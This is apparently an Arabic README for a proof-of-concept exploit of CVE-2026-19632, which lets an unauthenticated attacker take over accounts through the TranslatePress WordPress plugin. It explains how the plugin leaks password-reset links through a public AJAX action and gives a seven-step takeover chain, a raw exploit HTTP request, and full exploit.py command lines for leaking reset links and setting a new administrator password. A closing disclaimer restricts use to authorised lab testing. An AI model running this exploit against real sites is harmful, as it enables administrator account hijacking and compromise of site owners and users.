
إثبات مفهوم ليوم واحد لاستغلال CVE-2026-19632، وهو استيلاء حرج على الحساب دون مصادقة في إضافة TranslatePress لووردبريس، يوضح كشف رابط إعادة تعيين كلمة المرور والاستيلاء على حساب المسؤول.
CVE: CVE-2026-19632 | CVSS: 9.8 (حرج)
استيلاء غير مصادق عليه على الحساب عبر إضافة TranslatePress لووردبريس. الوقت من نشر CVE إلى PoC يعمل في اليوم الأول: 5 ساعات، 9 دقائق، 40 ثانية
حتى الإصدار 3.3.1 وما قبله؛ تم إصلاح الثغرة في الإصدار 3.3.2.
يمكن لـ TranslatePress ترجمة رسائل البريد الإلكتروني الصادرة من ووردبريس وحفظ سلاسلها المترجمة في قاعدة بياناته.
كما يحفظ TranslatePress رسائل إعادة تعيين كلمة المرور مع رابط إعادة التعيين الكامل بما في ذلك المفتاح السري مباشرة في جدول الترجمة.
يمكن للمهاجم غير المصادق عليه بعد ذلك الاستعلام عن تلك الصفوف عبر إجراء AJAX عام في TranslatePress:
تشغيل إعادة تعيين كلمة المرور
-> تتم ترجمة بريد إعادة التعيين
-> يُحفظ رابط إعادة التعيين في قاموس اللغة الثانوية
-> يُرجع نقطة نهاية AJAX العامة الصف
-> استخدام الرابط لتعيين كلمة مرور مسؤول جديدة
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
تتطلب سلسلة الاستغلال:
عندما يرسل ووردبريس بريد إعادة التعيين، يتحول TranslatePress إلى اللغة المفضلة للمستلم ويمرر البريد عبر خط أنابيب الترجمة الخاص به. يحفظ الإصدار الضعيف السلاسل التي تتم مواجهتها خلال هذه العملية، بما في ذلك رابط إعادة التعيين.
كما يسجّل TranslatePress trp_get_translations_regular للزوار غير المصادق عليهم. يتم كشف nonce الخاص به على صفحة مترجمة عامة، ويقبل الطلب معرّفات صفوف قاموس يختارها المهاجم. يكشف تعداد تلك المعرّفات عن بريد إعادة التعيين المخزن ورابط إعادة التعيين القابل للاستخدام.
| الخطوة | الإجراء |
|---|---|
| 1 | تحميل /he/cve-lab-seed/ واستخراج nonce الخاص بـ AJAX العام في TranslatePress. |
| 2 | إرسال نموذج كلمة المرور المفقودة في ووردبريس لـ labadmin. |
| 3 | يعالج TranslatePress بريد إعادة التعيين باستخدام لغة المسؤول العبرية. |
| 4 | تعداد صفوف القاموس عبر trp_get_translations_regular. |
| 5 | استخراج أحدث رابط إعادة تعيين مطابق wp-login.php?action=rp. |
| 6 | فتح الرابط وإرسال كلمة مرور جديدة. |
| 7 | إجراء تسجيل دخول جديد يتطلب كلاً من ملف تعريف ارتباط تسجيل الدخول في ووردبريس والوصول إلى /wp-admin/. |
الطلب غير المصادق عليه ذو الصلة يكون بهذا الشكل:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
الـ nonce ومعرّف الصف المفيد ديناميكيان، لذا يكتشفهما exploit.py بدلاً من ترميزهما بشكل ثابت.
الاستخدام الأدنى:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
تسريب رابط إعادة التعيين دون تغيير كلمة المرور:
python .\exploit.py --stop-after leak
تشغيل بريد إعادة تعيين كلمة المرور فقط:
python .\exploit.py --stop-after reset
| المعامل | الافتراضي | الغرض |
|---|---|---|
--url | http://127.0.0.1:19632 | عنوان ووردبريس الأساسي. |
--username | labadmin | الحساب الذي يُطلب له إعادة التعيين. |
--language | he_IL | قاموس اللغة الثانوية الذي يستعلم عنه الـ PoC. |
--public-path | /he/cve-lab-seed/ | الصفحة المترجمة العامة المستخدمة للحصول على nonce الخاص بـ AJAX. |
--new-password | لا شيء | كلمة المرور الجديدة؛ مطلوبة عند استخدام --stop-after takeover. |
--start-id | 1 | أول معرّف صف قاموس يتم طلبه. |
--max-id | 500 | آخر معرّف صف قاموس يتم طلبه. قم بزيادته إذا لم يتم العثور على رابط إعادة تعيين. |
--batch-size | 100 | معرّفات القاموس المطلوبة لكل استدعاء AJAX. النطاق الصالح: 1-500. |
--timeout | 15 | مهلة HTTP بالثواني. |
--settle-seconds | 1 | التأخير بعد طلب بريد إعادة التعيين. |
--stop-after | takeover | التوقف بعد reset أو leak أو takeover الكامل. |
هذا المشروع مخصص حصرياً لأبحاث الأمن المصرح بها والتعليم والاختبار في بيئات معملية معزولة.
تم اكتشاف هذه الثغرة وكشفها أصلاً بواسطة momopon1415.
لا تستخدم هذا البرنامج ضد أنظمة أو شبكات أو بيانات دون إذن صريح من المالك. أنت وحدك المسؤول عن الامتثال لجميع القوانين المعمول بها وعن أي عواقب تنتج عن استخدامك لهذا المشروع.
يقدم المؤلف، YonLiud، هذا المشروع "كما هو"، دون أي ضمانات من أي نوع، ولا يتحمل أي مسؤولية عن الأضرار أو فقدان البيانات أو انقطاع الخدمة أو الوصول غير المصرح به أو أي إساءة استخدام أخرى ناتجة عن هذا البرنامج أو الأعمال المشتقة منه.
باستخدامك لهذا المشروع، فإنك تقر وتقبل هذه الشروط.